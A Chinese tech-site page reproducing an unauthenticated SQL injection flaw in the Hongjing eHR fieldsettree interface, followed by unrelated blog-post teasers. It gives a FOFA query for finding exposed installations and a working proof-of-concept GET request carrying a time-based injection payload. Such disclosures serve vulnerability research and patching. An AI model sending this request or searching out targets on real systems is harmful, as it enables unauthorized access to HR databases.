宏景eHR fieldsettree SQL注入漏洞复现

news2024/9/21 7:58:45

0x01 产品简介

宏景eHR人力资源管理软件是一款人力资源管理与数字化应用相融合，满足动态化、协同化、流程化、战略化需求的软件。

0x02 漏洞概述

宏景eHR fieldsettree 接口处存在SQL注入漏洞，未经过身份认证的远程攻击者可利用此漏洞执行任意SQL指令，从而窃取数据库敏感信息。

0x03 复现环境

FOFA：app="HJSOFT-HCM"

0x04 漏洞复现

PoC

GET /templates/attestation/../../servlet/fieldsettree?flag=2&infor=1';WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1437392.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

ChatGPT学习第一周

📖 学习目标掌握ChatGPT基础知识理解ChatGPT的基本功能和工作原理。认识到ChatGPT在日常生活和业务中的潜在应用。了解AI和机器学习的基本概念获取人工智能（AI）和机器学习（ML）的初步了解。理解这些技术是如何支撑…

电动汽车雷达技术概述 —— FMCW干扰问题

一、电动汽车上有多少种传感器？ 智能电动汽车（包括自动驾驶汽车）集成了大量的传感器来实现高级驾驶辅助系统（ADAS）、自动驾驶功能以及车辆状态监测等功能。以下是一份相对全面的智能电动汽车中可能使用到的传感器列表…

虚拟飞控计算机：飞行控制系统验证与优化的利器

01.背景介绍随着航空技术的飞速发展，飞行控制系统作为飞机的心脏，全面负责监测、调整和维持飞行器的姿态、航向、高度等参数，用以确保飞行的安全和稳定。为了满足这些要求，现代飞控系统通常采用先进的处理器和外设来确保其高效、…

CSS的动画

CSS的动画在本节，我们将学习keyframes动画。 1. 动画的基本使用 1. 定义动画定义动画有两种写法： 简单定义方式 keyframes 动画名 {/* from代表初始状态 */from {/*property1:value1*/transform: translate(0%);}/* to代表结束状态 */to {transfor…

vue3 之商城项目—项目搭建起步

1.创建项目 1️⃣ npm init vuelatest2️⃣ npm install3️⃣ npm run dev4️⃣目录调整 2.git管理项目基于creact-vue创建出来的项目默认没有初始化git仓库，需要我们手动初始化执行命令 git init git add. git commit -m init3.项目起步—配置别名路径联…

Xampp中Xdebug的安装使用

工欲善其事，必先利其器 XDebug简介 XDebug 是一个用于 PHP 的调试和性能分析工具。它提供了一系列功能，帮助开发者在开发和调试 PHP 应用程序时更加高效。以下是 XDebug 的一些主要特性和功能： 调试功能： 断点调试：…

幻兽帕鲁怎么样？好玩? Mac版的玩《幻兽帕鲁》也很简单，只需三个步骤

幻兽帕鲁怎么样幻兽帕鲁是一款集合了多种游戏元素的游戏，它巧妙地融合了《方舟:生存进化》的野外生存挑战、《荒野之息》的开放世界探索、《魔兽世界》的多元角色互动以及宝可梦的精灵捕捉与培养等经典游戏元素。游戏的核心系统是「帕鲁」捕获，你可以让…

电力负荷预测 | 基于LSTM、TCN的电力负荷预测（Python）

文章目录效果一览文章概述源码设计参考资料效果一览文章概述电力负荷预测 | 基于LSTM、TCN的电力负荷预测（Python）源码设计 #------------------

Java HashSet 重写 equals() 和 hashCode() 对象去重

Ailt Insert 选择 equals() 和 hashCode() package com.zhong.collection.set;import java.util.HashSet; import java.util.Objects;public class HashSetDeduplication {public static void main(String[] args) {// HashSet 对象去重HashSet<Student> students new …

momentJs推导日历组件

实现效果: 代码： 引入momentjs然后封装两个函数构建出基本数据结构 import moment from moment;// 某月有多少天 export const getEndDay (m) > m.daysInMonth();/*** description 获取本月空值数据* param { Date } year { } 年度* param { Number } month …

springboot Feign方式注入注解详解

一、FeignClient注解详解 FeignClient是Spring Cloud中用于声明Feign客户端的注解，它使得编写HTTP客户端变得更简单。通过Feign的自动化配置机制，可以很容易地编写HTTP API客户端。以下是FeignClient的详解： 作用：FeignClient注解…

C++，stl，vector容器详解

目录 1.vector基本概念 2.vector的创建 3.vector赋值操作 4.vector容量和大小的操作 5.vector容器的插入和删除 6.vector容器的数据存取 7.vector互换容器 8.vector容器预留空间 1.vector基本概念 2.vector的创建 #include<bits/stdc.h> using namespace std;int m…

CSS综合案例4

CSS综合案例4 1. 综合案例我们来做一个静态的轮播图。 2. 分析思路首先需要加载一张背景图进去需要4个小圆点，设置样式，并用定位和平移调整位置添加两个箭头，也是需要用定位和位移进行调整位置 3. 代码演示 html文件 <!DOCTYPE htm…

一个Vivado仿真问题的debug

我最近在看Synopsys的MPHY仿真代码，想以此为参考写个能实现PWM-G1功能的MPHY，并应用于ProFPGA原型验证平台。我从中抽取了一部分代码，用Vivado自带的仿真器进行仿真，然后就遇到了一个莫名其妙的问题，谨以此文作为debug…

vue3项目中使用mapv

vue3项目中使用mapv mapv是百度地图官方提供的地图数据可视化开源项目，提供了很多效果酷炫的绘图api mapv地址在这里，示例图在这里先解释为什么要用mapv echarts画的地图，都是行政区划，就算是geo地图，也只能在行政…

基于YOLOv8的暗光低光环境下（ExDark数据集）检测，加入多种优化方式---DCNv4结合SPPF ，助力自动驾驶（一）

💡💡💡本文主要内容:详细介绍了暗光低光数据集检测整个过程，从数据集到训练模型到结果可视化分析，以及如何优化提升检测性能。 💡💡💡加入 DCNv4结合SPPF mAP0.5由原始的0.682提升至…

跳过mysql密码并重置密码 shell脚本

脚本目前只是验证了5.7 版本是可以的，8.多的还需要验证以下是一个简单的Shell脚本，用于跳过MySQL密码设置并重置密码： #!/bin/bash yum install psmisc -y# 停止MySQL服务 sudo service mysqld stop# 跳过密码验证 sudo mysqld --skip-g…